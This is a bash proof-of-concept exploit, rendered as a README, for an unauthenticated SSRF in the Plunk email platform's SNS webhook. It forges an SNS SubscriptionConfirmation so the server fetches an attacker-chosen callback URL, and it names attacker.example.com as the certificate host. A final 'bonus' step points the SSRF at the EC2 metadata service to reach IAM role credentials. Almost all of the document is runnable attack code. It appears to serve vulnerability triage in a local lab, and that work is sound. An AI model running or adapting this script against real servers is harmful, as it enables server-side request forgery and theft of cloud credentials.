README.md
Rendering markdown...
#!/usr/bin/env bash
# Plunk SNS SSRF — Live Triage Exploit
# Target: POST /webhooks/sns (unauthenticated)
# Trigger: forged SubscriptionConfirmation with attacker-controlled SubscribeURL
#
# Prerequisites:
# - docker compose up (from this directory) — Plunk running on localhost:9080
# - python3 listener.py — SSRF callback listener on port 8888
#
# Usage:
# chmod +x exploit.sh
# ./exploit.sh [callback_url]
#
# Default callback: http://host.docker.internal:8888/ssrf-hit
set -euo pipefail
PLUNK_HOST="${PLUNK_HOST:-localhost:9080}"
API_HOST="api.localhost"
CALLBACK="${1:-http://host.docker.internal:8888/ssrf-hit}"
# ── Colors ──────────────────────────────────────────────────────────────────
RED='\033[0;31m'; YELLOW='\033[1;33m'; GREEN='\033[0;32m'
CYAN='\033[0;36m'; BOLD='\033[1m'; RESET='\033[0m'
echo -e "\n${BOLD}${CYAN}Plunk SNS SSRF — Live Triage${RESET}"
echo "──────────────────────────────────────────────────"
echo -e " Target : ${YELLOW}http://${PLUNK_HOST}/webhooks/sns${RESET}"
echo -e " Host hdr : ${YELLOW}${API_HOST}${RESET}"
echo -e " Callback : ${RED}${CALLBACK}${RESET}"
echo "──────────────────────────────────────────────────"
# ── Step 1: Wait for the API to be ready ───────────────────────────────────
echo -e "\n[1] Waiting for Plunk API to respond on http://${PLUNK_HOST}/health ..."
for i in $(seq 1 30); do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Host: ${API_HOST}" \
"http://${PLUNK_HOST}/health" 2>/dev/null || true)
if [[ "$STATUS" == "200" ]]; then
echo -e " ${GREEN}API is up (HTTP 200)${RESET}"
break
fi
echo -n " attempt ${i}/30 (got ${STATUS}) ... "
sleep 3
if [[ "$i" == "30" ]]; then
echo -e "\n${RED}Timeout: API did not become healthy.${RESET}"
exit 1
fi
done
# ── Step 2: Fire the SSRF payload ──────────────────────────────────────────
echo -e "\n[2] Sending forged SubscriptionConfirmation ..."
PAYLOAD=$(cat <<EOF
{
"Type": "SubscriptionConfirmation",
"MessageId": "attacker-controlled-message-id",
"Token": "2336412f37fb687f5d51e6e2425ba4de08e147bc738d6b9b3aae3e9f28edfe56abe24b3611fc32dea3ecadf9e6f2b4c9ac9a63b6e62b8d17e7c6b2d9c8b3e2f",
"TopicArn": "arn:aws:sns:us-east-1:123456789012:plunk-ssrf-poc",
"SubscribeURL": "${CALLBACK}",
"Timestamp": "$(date -u +%Y-%m-%dT%H:%M:%S.000Z)",
"SignatureVersion": "1",
"Signature": "UNSIGNED-FORGED-MESSAGE",
"SigningCertURL": "https://attacker.example.com/fake-cert.pem"
}
EOF
)
echo -e " Payload:\n${PAYLOAD}\n"
RESPONSE=$(curl -s -w "\n__STATUS__:%{http_code}" \
-X POST "http://${PLUNK_HOST}/webhooks/sns" \
-H "Host: ${API_HOST}" \
-H "x-amz-sns-message-type: SubscriptionConfirmation" \
-H "Content-Type: application/json" \
-d "${PAYLOAD}")
HTTP_STATUS=$(echo "$RESPONSE" | grep '__STATUS__:' | cut -d: -f2)
BODY=$(echo "$RESPONSE" | grep -v '__STATUS__:')
echo -e "[3] Server response:"
echo -e " HTTP Status : ${YELLOW}${HTTP_STATUS}${RESET}"
echo -e " Body : ${BODY}"
# ── Step 3: Interpret ──────────────────────────────────────────────────────
echo ""
if echo "$BODY" | grep -q '"success":true'; then
echo -e "${RED}${BOLD}[!] VULNERABILITY CONFIRMED${RESET}"
echo -e " Server returned success=true — it fetched the SubscribeURL."
echo -e " Check your listener output for the SSRF callback."
elif echo "$BODY" | grep -q '"success":false'; then
echo -e "${YELLOW}[?] Server returned success=false — fetch may have failed or timed out.${RESET}"
echo -e " Check listener: did the GET arrive before a timeout?"
else
echo -e "${YELLOW}[?] Unexpected response. Check container logs:${RESET}"
echo -e " docker logs plunk-triage-api"
fi
# ── Bonus: probe EC2 metadata (if running in AWS) ──────────────────────────
echo ""
echo -e "${BOLD}[4] Bonus: probing EC2 IMDS (will fail locally — shows what a real target leaks)${RESET}"
curl -s -w "\n__STATUS__:%{http_code}" \
-X POST "http://${PLUNK_HOST}/webhooks/sns" \
-H "Host: ${API_HOST}" \
-H "x-amz-sns-message-type: SubscriptionConfirmation" \
-H "Content-Type: application/json" \
-d '{
"Type": "SubscriptionConfirmation",
"SubscribeURL": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}' | tee /dev/null
echo ""
echo -e "${CYAN}(In an EC2/ECS environment this would return IAM role names; a second request"
echo -e "to /latest/meta-data/iam/security-credentials/<role> would return temporary AWS keys.)${RESET}"
echo ""